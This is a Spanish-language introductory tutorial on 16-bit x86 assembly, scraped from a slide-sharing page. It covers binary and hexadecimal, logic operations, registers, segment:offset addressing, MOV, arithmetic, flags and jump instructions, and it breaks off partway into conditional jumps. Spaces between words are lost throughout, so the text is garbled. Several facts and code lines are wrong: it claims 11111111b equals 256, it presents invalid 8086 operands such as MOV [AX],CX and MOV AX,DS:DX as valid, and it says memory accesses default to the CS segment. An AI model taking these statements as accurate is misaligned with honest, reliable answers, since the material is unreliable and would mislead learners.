SlideShare una empresa de Scribd logo
1 de 58
CODIGOBINARIO
1.- SISTEMAS NUMERICOS
2.- OPERACIONES CON BYTES
2.1.- AND
2.2.- OR
2.3.- XOR
2.4.- NOT
3.- EL JUEGODE REGISTROS
4.- COMENZAMOS
5.- OPERACIONES
5.1.- INCy DEC
5.2.- ADD y SUB
5.3.- NEG y NOT
5.4.- MUL yDIV
6.- FLAGS
6.1.- Instruccionesde comparación(CMPyTEST)
7.- LAS INSTRUCCIONESDE SALTO
7.1.- Saltosincondicionales
7.2.- Saltoscondicionales
7.3.- Bucles
8.- LA PILA
8.1.- La ordenCALL
9.- INTERRUPCIONES
10.- RESTO DE ORDENES
10.1.- XCHG
10.2.- LEA
10.3.- LDS y LES
10.4.- DELAYs
10.5.- Instruccionesde cadena
10.6.- Datos
10.7.- Accesoa puertosI/O
10.8.- Anulaciónde interrupciones
11.- ESTRUCTURA COM
12.- ESTRUCTURA EXE
13.- APENDICE A: JUEGODE INSTRUCCIONES
14.- APENDICE B: NUMERACION NEGATIVA
......................................................................................................................................
1.- SISTEMAS NUMERICOS
Comencemosporlossistemasde numeraciónque másutilizaremosal
programar.
El básicova a ser el sistemahexadecimal,aunquedebemosde explicar
antesel binario,el sistemade numeraciónque utilizael ordenador.
Los númerosque conocemosestánescritosenbase 10. Estosignificaque
tenemos,desdeel 0hasta el 9, diezsímbolospara representarcadacifra.
Es decir,cada cifra irá de 0 a 9, y al superarel valor"9", cambiará a
0 y sumaráuno a su cifrade la izquierda:9+1:10.
El sistemabinarioutilizatansólodossímbolos,el "0"y el "1".
Imaginemosque tenemosel númerobinario"0".Al sumarle unaunidad,
este númerobinariocambiaráa"1". Sinembargo,si volvemosaañadirle
otra unidad,este númeroenformatobinarioseráel "10" (aumentala
cifra a la izquierda,que era0,y la anteriortomael valormínimo).
Sumemos ahoraotra unidad:el aspectodel númeroserá"11" (tresen
decimal).Ypodríamosseguir:
Binario:0 ; 1 ; 10 ; 11 ; 100 ; 101 ; 110; 111 ; 1000 ; 1001 ; 1010,...
Decimal:0 1 2 3 4 5 6 7 8 9 10
Esto nospermite establecerunsistemabastante sencillo de conversión
del binarioal decimal;
He aquí losvaloressiendonel valorde lacifra:
Ciframenossignificativa:
n*2^0 = 1 si n=1 o 0 si n=0
Segundacifra:
n*2^1 = 2 si n=1 o 0 si n=0
Tercera cifra:
n*2^2 = 4 si n=1 o 0 si n=0
Cuarta cifra:
n*2^3 = 8 si n=1 o 0 si n=0
Etc.,...
Y así continuaríamos,aumentandoel númeroal que se eleva2.Traduzcamos
entoncesel númerobinario'10110111'
2^7+ 0 +2^5+2^4+ 0 +2^2+2^1+2^0 = 128 + 0 + 32 + 16 + 4 + 2 + 1 = 183
1 0 1 1 0 1 1 1
De todosmodos,estatransformaciónestáexpuestasimplemente paraque se
comprendacon másclaridadcómo funcionanlosnúmerosbinarios.Esmucho
más aconsejable el usode unacalculadoracientíficaque permitarealizar
conversionesentredecimales,hexadecimalesybinarios.Se hace suuso
ya casi imprescindible al programar.
La razóndel usode losnúmerosbinariosessencilla.Esloque entiende
el ordenador,yaque interpretadiferenciasde voltaje comoactivado( 1 )
o desactivado( 0 ), aunque nolodetallará. Cadabyte de informaciónestá
compuestoporocho dígitosbinarios,ya cada cifra se le llamabit.El
númeroutilizadoenel ejemplo,el 10110111, sería un byte,ycada una de
sus ochocifras,un bit.
Y a partirde ahora,cuando escribaunnúmerobinario,lohará conla
notaciónusual,conuna "b" al final del número(ej.:10010101b)
Ahorapasamosal hexadecimal,muyutilizadoenEnsamblador.Se tratade
un sistemade numeraciónenbase dieciséis.Portanto,haydieciséis
símbolospara cada cifra,y envezde inventarse paraellonuevossímbolos,
se decidióadoptarlasprimerasletrasdel abecedario.Porlotanto,
tendremosahora:
Hex Dec
1 -->1
2 -->2
3 -->3
4 -->4
5 -->5
6 -->6
7 -->7
8 -->8
9 -->9
A -->10
B --> 11
C --> 12
D --> 13
E --> 14
F --> 15
10 --> 16
11 --> 17
Etc.,...
Comovemos,este sistemanosplanteasbastantesproblemasparala
conversión.Repitiendolodicho,unacalculadoracientíficanosseráimprescindible.
¿Por qué utilizareste sistema?.Volvamosal byte,y
traduzcamossu valormás alto,"11111111". Resultaser256. Ahora pasemos
estacifra al sistemahexadecimal,ynosresultará "FF".Obtenemosun
númeromáscomprensible que el binario(difícil de recordar),yante todo
muchomás compacto,en el que doscifras nosrepresentaráncadabyte.
Podremosademástraducirfácilmente el binarioahexadecimal conesta
tabla;cada cuatro cifrasbinariaspuedentraducirse al hexadecimal:
º Binarioº Hexadecimal º
0000 º 0
0001 º 1
0010 º 2
0011 º 3
0100 º 4
0101 º 5
0110 º 6
0111 º 7
1000 º 8
1001 º 9
1010 º A
1011 º B
1100 º C
1101 º D
1110 º E
1111 º F
Por ejemplo,el númerobinario:
1111001110101110
En hexadecimal sería:
1111 0011 1010 1110
F 3 A E
Para referirnosaunnúmerohexadecimalsinespecificarlo,usaremosla
notaciónque se suele usaral programar, con un 0 al principio,(necesario
cuandohay letras),yuna h al final.Porejemplo,el númeroanteriorsería
0F3AEh
............................................................................................................................
2.- OPERACIONES CON BYTES
Hay cuatro operacionesbásicasque se puedenrealizarconunnúmero
binario,ycoincidenconoperacionesde lalógicamatemática,conloque
cualquieraque lahayaestudiadotendrá ciertaventajaparaentenderla.
Para explicarlas,llamaremosal valor0 resultado"falso",yal valor1
"verdadero".LasoperacionessonAND,OR,XORy NOT
2.-1.- AND
Es un 'y' lógico.Se realizaentre doscifras binariasconfrontandocada
cifra consu correspondiente,yel resultadoserá"1"si las dosson
verdaderas(si lasdosvalen"1"),y "0" (falso) enel restode los
casos.
1.numero2.numeroResultado
1 1 1
1 0 0
0 1 0
0 0 0
Volvemosalalógicapara explicarlomásclaramente:Imaginemoslafrase:
"El hombre esunmamíferoy camina erguido".El hechode que el hombre sea
un mamíferoescierto( 1 ), y el de que camine erguido,otro( 1 ).Por
lotanto, al unirlosmediante unaconjunción( 'y'o 'AND' ),resultaque
ya que se dan las dos,laoración esverdadera.
Pongamosunejemplomáscomplejo.QueremosrealizarunANDlógicoentre
dos bytes:
11011000 AND01101001
Observemosloque sucede:
11011000 216
AND01101001 En sistemadecimal sería:AND105
-------- (aunqueensistemadecimal ---
01001000 esmás complejo).72
Cuandocoincidendosvaloresde "verdad",el resultadoes"verdad",
si uno esfalso,el resultadoes"falso"(noesverdadque "El hombre
esun mamíferoy respiradebajodel agua"),ysi losdos sonfalsos,el
resultadoesfalso(noesciertoque "El hombre esun ave y respira
debajodel agua")
2.-2.- OR
El "o" lógico.El resultadoes"verdadero"cuandoal menosunode los
factoresesverdadero.Osea,es"1" cuandoal menosunode losdos factores
es"1".
Sería como lafrase "Voya buscarel discoo el cd", donde
que uno seaciertono significaque el otronolosea;es ciertala frase,
esverdaderamientrasunode lostérminossean verdaderos.
Operemosconlosnúmeros"10100110" y "01101100":
10100110
OR 01101100
11101110
Comohemosvisto,el valor1 ( verdadero) quedaenlascifrasde las
que,confrontadas,al menosunaesverdadera.Sóloresulta0( falso) si
losdos númerosconfrontadosson0( falsos).
2.-3.- XOR
"Or" exclusivo.Se tratade una ordenparecidaal OR,tan sóloque
la verdadde una excluye lade laotra.El resultado,portanto,es"1"
(verdad) cuandounoy sólounode losdos númerosesverdadero(yel
otro falso,claro).Seríacomo laoración "O vivooestoymuerto":para
que seacierta se tiene que daruna de las dos,peronunca lasdos o
ninguna.
10111001
XOR 01011101
11100100
La ordenXORva a ser bastante útil enencriptación,comoyaveremosmásadelante.
2.-4.- NOT
Esto se aplicasobre un solonúmero,yentérminosde lógicaseríala
negaciónde unaoración,o sea,si el númeroal que se aplica es1, el
resultadoes0, y viceversa.Entérminosde lógicamatemática,aplicándolo
a una oración,sería por ejemplo"Noesverdadque tengaganasde estudiar
y de no dormir",negandolasotrasdos que encaso contrario seríanverdad:
NOT 11100110
00011001
Tan sólo,por si alguiennoloconoce,quierodetallarel modode
almacenamientodel ordenador,incluyendolomástemidoporel iniciadoen
Ensamblador,ymás engorrosoparael programador: SegmentsyOffsets.
La unidadmínimade informaciónesel bit.Suestado,comovimos
anteriormente,puedeser1o 0.
Un conjuntode ocho bits,formanun byte.De ellos,el de laderecha
esel menossignificativo(suvaloresmenor),yel de mása la izquierda
el más significativo.
Un Kbyte esun conjuntode 1024 (que no1000) bytes.Igualmente,un
MegaByte serán1024 kbytes,o1024*1024=1048576 bytes.
Otro términoque utilizaremosamenudo,espalabra,o"word".Una
"palabra",esun conjuntode dosbytes,yse utilizaporque amenudose
operacon ellasenlugarde bytes.
Y ahora, veamoslossegmentsyoffsets.
Resultaque hubountiempo,cuandolosdinosauriosdominabanlatierra,
enel que a "alguien"se le ocurrióque con640K deberíade bastarnospara
hacerlotodo.Y bien,poraquí vienenlosproblemas.
El ancho de busde direcciones,paralocalizarunpuntoenmemoria,es
de 20 bits.Porlotanto, el númeromáximode direccionesde memoriaalas
que podremosaccederserá1 Mb. Perocomo veremos,20bitsno son ni 2 bytes
ni 3, sinoalgoasó como 2 y medio.El problemaesordenarlosparaque el
procesadorconozcala direcciónde memoria.
Necesitaremosparaconoceruna posiciónde memoria,cuatrobytes
combinadosde unacuriosamanera.
Imaginemoslosdosbytesinferiores.Sumayorvalorpuede ser0FFFFh
(poneruncero delante esunaconvención,paraque loentiendanlos
ensambladores,al igual que lahal final indicandoque esunnúmero
hexadecimal).Estonosdaacceso a 64Kb de memoria,que se consideraun
bloque.También,apartirde ahora,llamaremosOffsetaladirección
indicadaporestosdos bytes.
Ahoraquerremosmásmemoriaque 64 Kb.Y para esotenemoslos
otros dosbytes.Paraformar la direccióncompleta,se tomanlos16 bits
del registrode segmentoyse sitúanenlos16 bitssuperioresde la
direcciónde 20 bits,dejandolosotroscuatroa cero. Es como si
añadiésemoscuatrocerosala derecha.Sumamosentoncesaeste valorde
20 bitsel Offset,resultandoladirecciónreal de memoria.
Veamosunaexplicaciónmásgráfica.
Seael valor de Segmento0Ah(osea,10 decimal o1010b, binario).
Y el del Offsetdigamosque vaa valer(enbinario) 01011111 00001010.
La sumapara obtenerladirecciónde memoriasería:
0000 0000 0000 1010 0000 (segmentomultiplicado*16,con4 cerosmás)
+ 0101 1111 0000 1010 ( el offset)
0000 0101 1111 1010 1010
Y ésta sería ladirección"real"de memoria( 05FAAho 24490 Dec ).Como
Puede observarse,ycomocuriosidadfinal,distintossegmentsyoffsets
especificandireccionesde memoriadistintas;porejemplo,lospares
0040h:0000 (donde el primero esel Segmentyel segundoel Offset,así
lotomaremosa partir de ahora),son igualesque 0000:0400h, y los dos
se referiríana la mismaposiciónde memoriafísica,la0400h o 1024d.
.........................................................................................................................
3.- EL JUEGODE REGISTROS
Hay algunaspreguntasque podríamoshacernosahora:el SegmentyOffset,
¿dónde se guardan,que indicaal ordenadoresossitios
enmemoria,qué indicaal ordenadorenqué puntode la memoriaestá y qué
tiene que ejecutar?Puesbien,paraestoymuchomás sirvenlosregistros.
Se trata de una serie de "variables",que contieneninformaciónque
puede sercambiada.
Comenzaremosporlosde segmentoyoffsetactual:CSe IP.
El registroCSes unavariable de untamaño de dos bytes.Contiene el
Segmentoactual enque se encuentrael programa.IP,esla variable,de
dos bytestambién,que contieneel Offsetactual.Estosignificaque el
ordenadorvainterpretandolassecuenciasde bytes,peronecesita"algo"
que le indique dónde tiene que leer.LacombinaciónCS:IP(tal ycomo
me referíantesen lode Segments&Offsets),contieneladirecciónenla
que el ordenadorestáinterpretandoinformación"enel momento".Osea,
indicaladirecciónde lapróximainstrucciónque se vaa ejecutar.
El registroDSy el registroES tambiénsirvenparaguardar direcciones
de Segmentos,ytambiénsonvariablesde dosbytes;seránutilizadospara,
por ejemplo,moverdatosenmemoria,imprimircadenas,etc.
Digamosque son"punteros",que apuntana ciertazonade
memoria(siemprecombinadoconotroque hagade Offset).
El registroSSapunta a la pila,yel SP esel que contiene el offset
de la pila,peroestoloexplicaremosmásadelante.
Luegotenemosunaserie de registrosque utilizaremosmáscomúnmente:
AX,BX, CXy DX.
Todas ocupandos bytes,yse puedenutilizardivididasendospartesde
longitudunbyte,cambiandode nombre.AXse divideenAHy AL,BX en
BH y BL, CXen CH y CL y DX enDH y DL. La 'H' se refiere aHigheninglés,
alto(de mayor valor),yla 'l' a Low (de menorvalor).Veamosunailustración:
AX
11010110 10111000
AH AL
Las funcionesde estoscuatroregistrossondiferentes:AXse suele
utilizarcomopropósitogeneral;indicafunciónalasinterrupciones,etc.,
y esel más flexible,yaque seráel únicoque permitamultiplicaciones
y divisiones.Se denominaavecesacumulador.
BX nosservirámuchocomo "handler",paraabrir/cerrararchivos,etc.,y
como registrode propósitogeneral al igual que AX,CXyDX.
CX se suele usarcomocontador.
DX suele serel puntero,señalandohaciendoel papelde Offsetlugares
enmemoria(suele combinarse conDSenla formaDS:DX)
Y nos quedanyasólotres registros,BP,SIy DI, que sontambién
punteros.SIy DI losutilizaremosamenudoparacopiar bytesde unlado
a otro, etc.Ni que decirque,como el restode registros,contienendos
bytes.Igual sucede conBP,de otros dos bytesde tamaño.
............................................................................................................
4.- COMENZAMOS
Por finvamosa empezarconórdenesenensamblador.Ycomenzaremoscon
la más sencilla,perocuriosamente lamásutilizadaeneste lenguaje:
La ordenMOV.
La funciónde laordenMOV es,comosu nombre da a entender,"mover"un
valor.Pongamosunejemplo:
MOV AX,BX
Esta ordenenlenguaje Ensamblador,copiaráel contenidode BXenAX,
conservandoel valorde BX.He aquí algúnejemplomás:
MOV AX,DS
MOV ES,AX
MOV DX,AX
MOV AL,DH
Comose ve,nose puede realizarMOV AL,BX,yaque enAL no cabe BX
Tambiénse puede introducirunvalordirectamente enunregistro.Sería
el caso de:
MOV AX,0FEA2h
MOV BL,255
MOV DH,01110101b
Pongamosejemplosde cómose utilizalanumeración.El primero
era unnúmerohexadecimal,el segundodecimal,que novaacompañadopor
nada para indicarlo,yel tercerobinario,conlab al final.A veces,
para representarunnúmerodecimal,se pone una'd'al final (p.ej.,10d)
Más utilidadesde MOV.Podemostransferirbytesque esténenmemoria
a un registro,ode unregistroa memoria.Vayamosconlosejemplos:
MOV AX,[BX]
Y pongamosque enBX esté 0EEEEh. En vezde transferira AXel valor
0EEEEh, le transferiremosel valorque hayaenlaposiciónde memoria
CS:BX;si CS por ejemplovale 0134h y BX 03215h, transferiríamosel byte
que hay en0134:03215h y el siguiente aAX.
Se puede hacertambiénal revés;
MOV [AX],CX
Escribiríamosenla direcciónde memoriaCS:AXel valorde CX.
Y tambiénpodremosusarvaloresnuméricos:
MOV AX,[2325h] (loque hay enCS:2325h)
MOV AX,DS:[2325h] (el valorenDS:2325h)
MOV AX,DS:DX(el valorenDS:DX)
MOV DX,CS:CX(aDX, valorenCS:CX)
MOV BX,CS:1241h (a BX, valorenCS:1241h)
Muchas veces,se utilizaWordPtro Byte Ptr,que aclaran el tamaño a
transferir:
MOV AL,BYTE PTR [BX+SI-30h]
MOV AX,WORDPTR [BX+DI]
Comoacabamos de ver,es posible hacer"sumas"de valoresal buscar
una direcciónenmemoria.Otrosejemplosserían:
MOV AX,[BX+3]
MOV [BP+SI],AH
Y para acabar este apartado,he aquí una tablillade ejemplossobre MOVsque se puedenhacer:
º Formatosde la instrucciónMOV º Ejemplosº
º MOV reg,regº MOV AX,BXº
º MOV mem,regº MOV [BX],ALº
º MOV reg,memº MOV CH,[40FFh] º
º MOM mem,inmedºMOV BYTE PTR [DI],0 º
º MOV reg,inmedºMOV BX,0FFFFhº
º MOV segreg,reg16º MOV DS,AXº
º MOV mem,segregºMOV [SI],ESº
º MOV segreg,memºMOV SS,[1234h] º
reg: registromem:memoriainmed:númeroinmediato
segreg:registrode segmentoreg16:registrode 16 bits
Y vistala ordenMOV, seguimosadelante.
..................................................................................................................
5.- OPERACIONES
5.-1.- Las instruccionesINCy DEC:
Son lasmás básicasa la hora de hacer operacionesconregistros:INC
incrementael valorde un registro,ode cualquierposiciónen
memoria,enunaunidad,yDEC lodecrementa.Veamos:
INCAX
Incrementaenunoel valorde AX
INCWORD PTR [BX+4]
IncrementalapalabrasituadaenCS:[BX+4] en uno.
DEC AX
DecrementaAX,le restauno.
DEC WORD PTR [BX+4]
DecrementalapalabrasituadaenCS:[BX+4] en unaunidad.
Estas dosinstrucciones,equivalentesa"a++" enC, nos
serviránbastante comocontadoresparabucles.
5.-2.- Las instruccionesADD y SUB
Se trata de dos operadoresque contiene cualquierlenguaje de
programación:lasuma y la resta.Tienendosoperandos,unode destinoy
otro fuente.Paralasuma,se sumanlosdosoperandosy se almacenaen
el primero(destino),yparala resta,se restaal primeroel segundo,
almacenándose endestino,el primero.Aquíestánalgunosformatosde estas
instrucciones:
ADD AX,BX; Sumaría AXy BX y lo guardaría enAX
ADD [AX],BX;Sumael contenidode ladirecciónde AXa BX,
;y se almacenaenla direcciónde AX
ADD AX,[BX] ;Se sumanAX y el contenidode ladirecciónde
;BX, yse almacena‚estasumaenAX
ADD AX,3; Lo mismoperoutilizandounvalorinmediato
;envezde laBX señaladaanteriormente.
SUB CL,DL ; Restade CL el valorde DL, y se almacenaenCL
SUB [CX],DX; Se resta al contenidode ladirecciónde CX
;el valorde DX, y se almacenaenla dir.de CX
SUB CX,23h ; Se restade CX el valor23h, y quedaenCX el
;resultado
¿Y si el resultadoexcede loque puede contenerel byte,olapalabra?.
Esto se puede sabermediante losflags,que trataremosmásadelante.
Tambiénesresaltable que separacon;los comentarios.Bien,
éstaes lamanera enEnsambladorde ponercomentarios,comoseríaenBasic
la orden"REM", o enC laconvención"/*[...] */"
5.-3.- NEG,NOT y operacioneslógicas
Negpone el registrooel lugar al que apuntaenmemoriaennegativo
segúnlaaritméticade complementoadostal que : NEG AXo NEG [AX]
Notes la que,comovimos,"invierte"losvaloresde losbits.Yel
restode operacioneslógicastambiénlasvimosanteriormente.Pondremosahora
tan sólosu sintaxis:
NOT SI; (oNot AX,etc.,...osea,con un registro)
NOT Word ptr es:[ax] ;Lo realizasobre lapalabra( 2 bytes)
;que se encuentraenes:[ax]
ANDAX,BX; Efectúaun ANDentre AXy BX, almacenando
;el resultadoenAX( siempre enel primer
;término)
AND[AX],BX;Lo dicho,peroAX apuntaa unlugar de
;memoria
ANDAX,[BX]
ANDByte ptr [15],3 ; Un AND enla dirección:0015 con loque
;haya ah¡y el valor "3"
OR AX,BX
OR [AX],BX
OR Byte ptr [15],3
OR DH,55h ;Tambiénpodríahacerse enel AND,se
;confrontanDH y 55h enun OR.
Y todo lodichopara OR y ANDvale para XOR,de tal manera
que lasoperacionessonrealizablesentre:
RegistroyregistroCX,DX
Lugar de memoriayregistro[DX],BX
Registroylugar de memoriaAX,[SI]
Lugar de memoriaynúmerowordptr ES:[AX],0D533h
RegistroynúmeroAX,0CD32h
5.-4.- Multiplicacióny división,MULy DIV
Estas operacionesmultiplicanal acumuladorporel operandoindicado.
Si el operandoesde 8 bits(1 byte),el acumuladoresAL.Si el
operandoesde 16 bits,el acumuladoresAX.El resultadose almacena
enAX o enel par DX-AXrespectivamente,si el operandoesde 8bitso
16 bits.
Tambiéntendremosque diferenciarentre dostiposde multiplicaciones
y divisionesque entiende el procesador.Losque comienzanconunaI
operancon númerosconsigno,si queremosusarnúmerosnegativos,
y losque no, con númerossinsigno.
Vistoesto,podremosdecirque:
MUL Byte Ptr [CX]
Va a multiplicarel byte que hayenladirecciónque marcaCX por el
contenidoque hayenAL,y una vezhechoesto,va a almacenarloenAX.
MUL SI
MultiplicaríaSIpor el contenidode AX,almacenándose enel parAX-DX.
La palabrasuperior,de másvalor,se devolveríaenDX,yla inferior
enAX.
IMUL SI
Esto y el ejemploanteriorseríalomismo,sóloque operandocon
númerosconsigno.
Para la división,el dividendohade estarenAX,y ser 16 bitspor
tanto.El divisorse indicaenel operando,porejemploenDIV BL; este
divisorestaríaenBL. Se dividiríaAXentre BLy el resultadoquedaríaen
AL, quedandoel restoenAH.Vamosa veralgúnejemplo.
En la divisiónde un númerode dieciséisbitsentre otrode 8 bits,el
cociente yrestoseránde 8 bits(1 byte).El dividendohade estarenAX,
y el divisoresel operandode lainstrucción,que puede serunregistroo
un sitioenlamemoria,yse necesitaponerlode byte ptr.
O sea,sería tal que:
DIV CL o IDIV BYTE PTR ES:[BP]
El resultadose devuelveenAL,yel restoen AH.Si por ejemploAX
valiese 501dy cl valiese 2,al hacer el DIV CL, en AL quedaría255 y en AH
quedaría1.
Se puede dividirtambiénunnúmerode 32 bits(4 bytes) entre otrode
16 bits(2 bytes),conlo que cociente yrestoseríande 16 bits.El
dividendoestaríaformadoporel parDX/AX.Al hacer porejemploun:
DIV SI
Se dividiríaDX-AXentre SI,almacenándose el resultadoenAX,yel resto
enDX. Por ejemplo:
Si en DX estáel valor003Fh y en AX5555h, el par sería3F5555h, con lo
que al dividirloporSI(que pongamosque vale 0CCC4h),se almacenaríaen
AXel resultadoyen DX el resto.
.......................................................................................................................
6.- FLAGS
La explicaciónde los"flags"estárelacionadaconlossaltoscondicionales.
Los que hayáisvistounmínimode otroslenguajesrecordaréislassentencias
FOR y NEXT(enBasic),o el IF/THEN/ELSEtambiénenestiloBasicperoque
tambiénse encuentranenotroslenguajes.Puesbien,losflagsylasinstrucciones
condicionalesvaa serlo que os encontréiseneste capítulo.
Veamosel registrode flags.
A lasflags,"banderas",lasagrupaun soloregistrode 16 bits,aunque
éste noesté utilizadoporcompleto,yaque cadaflagocupa un solobit.
¿Qué son losflags?
Se trata de variosbits,que,comosiempre,puedenvalerunoocero, y
dependiendode suvalorindicanvariascosas.El registrode flagsescomo
sigue:
³ ± ³ ± ³ ± ³ ± ³ O ³ D ³ I ³ T ³ S ³ Z ³ ± ³ A ³ ± ³ P ³ ± ³ C ³
O: OverflowD:DirecciónI:Interrupcionesrehabilitadas
T: Trampa S: SignoZ: Cero
A: AcarreoauxiliarP:ParidadC:Acarreo ±: No utilizado
Cada cuadro representaunbitcomoesfácil adivinar.Tambiénestáclaroque
cada bit que se utilizatiene unnombre,ycomose verá,también
una utilidad.Aquíexplicoel significadode los
más importantes:
EL FLAG DE ACARREO
Hay vecesenla operacionesenlasque el númerose desborda,osea,no
cabe enel registrooen laposiciónde memoria.Imaginemosque tenemosen
AXel número0FFFFhy le sumamos0CCCCh. Comoeslógico,el resultadono nos
cabrá en AX.Al realizarestasuma,tenemosque tenerencuentaque el
siguiente númeroa0FFFFhes0000h, con loque podremosverel resultado.
Igual pasará si a 0000h le restamos,porejemplo,1(el resultadoserá
0FFFFh).Perode algunamanera nos tenemosque DARCUENTA de que estoha
sucedido.
Cuandose opera y hayacarreo enel últimobitsobre el que se ha
operado,el flagde acarreo se pone a uno,es decir,cuandoese númerose ha
desbordado.Hayque recordartambiénque lasinstruccionesINCyDEC no
afectana este flag.Veamoslosefectosde estasoperaciones:
MOV AX,0FFFFh
INCAX ; AXvale ahora 0, el flagde acarreo también
DEC AX ; AXvale 0FFFFh,y el flagsigue inalterado
ADD AX,1; AXvale 0, y el flagde acarreo está a 1
MOV BX,0000h
ADD BX,50h ; El flagde acarreose pone a 0, no ha habido
;acarreo enestaoperación
SUB AX,1 ; Ahora AXvale otra vez0FFFFh,y el flagde acarreo
;se pone de nuevoa uno.
En resumen,se activacuandotras una operaciónhayun pasodel valor
máximoal mínimoo viceversa.
Este flag nosva a ser tambiénútil al comprobarerrores,etc.Por
ejemplo,si buscamosel primerarchivodel directorioynohay ninguno,
este flagse activará,con lo que podremosusarlossaltoscondicionales,
peroestoya se explicarámásadelante.
EL FLAG DE SIGNO
A vecesinteresaconocercuándounnúmeroconsignoesnegativoopositivo.
Evidentemente,estosólotiene efectocuandoestamostratando
con númerosenterosconsigno,encomplementoados.Indicacuandotras una
operaciónaritmética(ADD,SUB,INC,DEC o NEG o lógica(AND,OR o XOR)
el resultadoesunnúmeroencomplementoados.Enrealidad,eslacopia del
bitde mayorpesodel byte,el que indicacuándoel númeroesnegativo.
Por lotanto,cuando vale 1 es que el númeroesnegativoysi vale 0 es
que espositivo.
EL FLAG DE DESBORDAMIENTO ("Overflow")
Se trata de un flagbastante parecidoal de acarreo, peroque actúa con
númerosencomplementoadosy se activacuando se pasa del mayornúmero
positivo(127 enun solobyte) al menornegativo(-128entamaño de un
byte).
Este flag,al contrarioque el de acarreo,SI esafectadopor las
instruccionesde decrementoe incremento.
EL FLAG DE CERO
Es de losmás sencillosde comprender.Simplemente se activacuandoel
resultadode unaoperaciónaritméticaológicaescero.Es evidente lagranutilidaddel flag.
Tenemos,porejemplo,dosregistros,AXyCX,que queremoscompararparasabersi soniguales.
Para saberlo,notendríamosmásque restar unodel otro, ysi el resultado
escero (o sea,si el flagde cero se pone en uno),podremoshacerun
saltocondicional.
O sea,de un
SUB CX,AX
Si son iguales,el flag de cerose pondrá a uno.
EL FLAG DE PARIDAD
Se utilizaespecialmente enlatransmisiónde datosparala comprobación
de errores,ya que compruebasi el resultadode laúltimaoperación
aritméticaológicarealizadatiene unnúmeroparo imparde bits puestos
a uno. Se pondráa unocuandohaya un númeropar de bits,y a cero cuando
seaimpar.
RESTO DE FLAGS
No describiré másflagsdetalladamente,yaque suimportanciaescasi
nula;por ejemploestáel flagde interrupción,que,cuandoestáactivado,
evitalaposibilidadde interrupcionesenseccionescríticasde código,o
el de trampa, que cuandoestá activadoprovocauna INT1h cada vezque se
ejecutaotrainstrucción,perocreoque su interésesescaso,al menospor
el momento.
6.-1.- INSTRUCCIONESDE COMPARACION
Nosvan a servirpara realizarlascomparaciones,yson:
CMP y TEST
CMP compara dos registros,ounregistroy una direcciónde memoria.
Tiene el mismoformatoque el SUB(por ejemploCMPAX,BX),tansóloque
ningunode losregistrosesalterado.Si porejemplosoniguales,el flag
de cero se pondrá enuno.Es en realidadunSUB del que nose almacenael
resultado.
TEST, comprobar,se puede realizarconel mismoformatode AND,yaque
esequivalente aella,tansóloque nose guarda el resultado,aunque síse
modificanlosflags.
Y en el próximocapítuloveremoscómose aplicanestosflags,ycómo
realizarlossaltoscomparativos.
.......................................................................................................................
7.- LAS INSTRUCCIONESDE SALTO
7.-1.- SALTOS INCONDICIONALES
Empecemosporel saltosincondiciones,conel que podremoscambiar
el control a cualquierpuntodel programa.Seríacomo el "Goto" del Basic,
simplementetransferirel control aotro puntodel programa.La ordenes
JMP (de Jump,salto)
Si se recuerdanlosregistrosCS:IP,se podráverqué es
loque hace realmente lainstrucción,ynoesmásque incrementaro
decrementarIPpara llegarala zona del programaa la que queremos
transferirel control (IPesel Offsetque indicalazonade memoria
que contiene lasiguiente instrucciónaejecutar,yCSel segmento).
El formatomás sencilloparael saltoseríaJMP 03424h, loque saltaría
a esa zona.Peroesalgo complejocalcularenqué dirección
va a estar esainstrucción,conloque utilizaremosetiquetas.He aquí
un ejemplo:
MOV AX,0CC34h
MOV CL,22h
JMP PALANTE
VUELVE: CMP BX,AX
JMP FIN
PALANTE:MOV BX,AX
JMP VUELVE
FIN:XOR CX,CX
Ahoracomentaremosunpocoel programa. Tras la primerainstrucción,
AXvale 0CC34h, y tras la segunda,CLvale 22h. Despuésse realizaunsalto
a la instrucciónetiquetadacon"PALANTE".Laetiquetahade estar
continuadapordos puntos':', y puede serllamadadesde cualquierlugardel
programa.TambiénpodremoshacerunMOV AX,[PALANTE],comohacíamosantes
con un MOV AX,[BX],peroasignandoaAXel valorque haya enla dirección
enla que está"PALANTE".
El caso esque tras el saltoa "PALANTE",se copiael valordel registroBX
enAX,y se vuelve a"VUELVE".Se realizaunacomparaciónentre AXy BX, que
pondrá el flagde cero a 1 (recordemoslaanteriorlección),se saltará
a "FIN",donde tansólose realizarálaordenXor CX,CXcuyoresultado,por
cierto,esponerCX a cero,tengael valor que tenga.
Volvamosconlasintaxisdel JMPcon algunosejemplosde cómoutilizarlo:
JMP 100h
Saltaa ladirección100h. Un archivo.COMcomienzanormalmenteenesa
dirección,asíque es posible verloenalgunosvirus.
JMP 542Ah:100h
Saltaa ladirección100h perodel segmento542Ah.
JMP SHORT 223Ah
Saltocorto a la dirección223Ah.
JMP NEAR 55AAh
Saltocercano,es diferenteal corto
JMP [100h]
Saltaa ladireccióncontenidaen100h. Sinembargoesun error,ya que
no se especificasi escercano,lejano,si se lee unsolobyte,esdecir,
estainstrucciónno es válida.
JMP WORD PTR [BX]
Ahorasí vale.Saltaa la direccióncontenidaenlapalabra(dos
bytes) ala que apunta BX.O sea,si BX valiese 300hy en300h losdos
bytesfuesen0CC33h,el JMP saltaría a estadirección.
JMP DWORD PTR [BX+SI+5]
Dwordson 32 bits,o sea,un saltolejano.Ysaltaría al contenidoen
la direcciónde memoriaalaque apuntan lasuma de BX,SIy 5.
Veamosel significadode lossaltoslejanos,cercanosycortos.El
saltocorto se realizaentre el puntoenel que se está y +127 o -128, o
sea,la cantidadque se puede contenerenunbyte consigno.A veces
esnecesarioindicarque se trata de saltocorto, cercanoo lejano.
El saltocercano se realizacontandocomodistanciael contenidode dos
bytes,osea,que el rango sería desde 32767 a -32768 bytesde distancia.
Y el lejanose realizacontandocomodistanciael contenidode cuatro
Bytes.
Por ejemplo,esincorrectoque hayaenladirección100h unainstrucción
que digaJMP SHORT 500h, ya que ladistancianocorresponde aun salto
corto. Además,el saltodependiendode que seacercano,cortoo largo se
codificade maneradiferenteenmodohexadecimal.
7.-2.- SALTOS CONDICIONALES
¿Recuerdanel IF-THEN-ELSE,oel FOR,o el WHILE-DO ?
Bien,puesaquíestá loque suple a estasinstruccionesenlenguaje
Ensamblador.Se basancompletamenteenlosflags,peroestánsimplificados.
Los saltospodrían resumirse enunmodo"Basic"de la maneraIF-THEN-GOTO
de forma que cuandose cumple unacondiciónse saltaa un sitio
determinado.
He aquí lostiposde saltoscondicionales(lasletrasenmayúsculasson
lasinstrucciones):
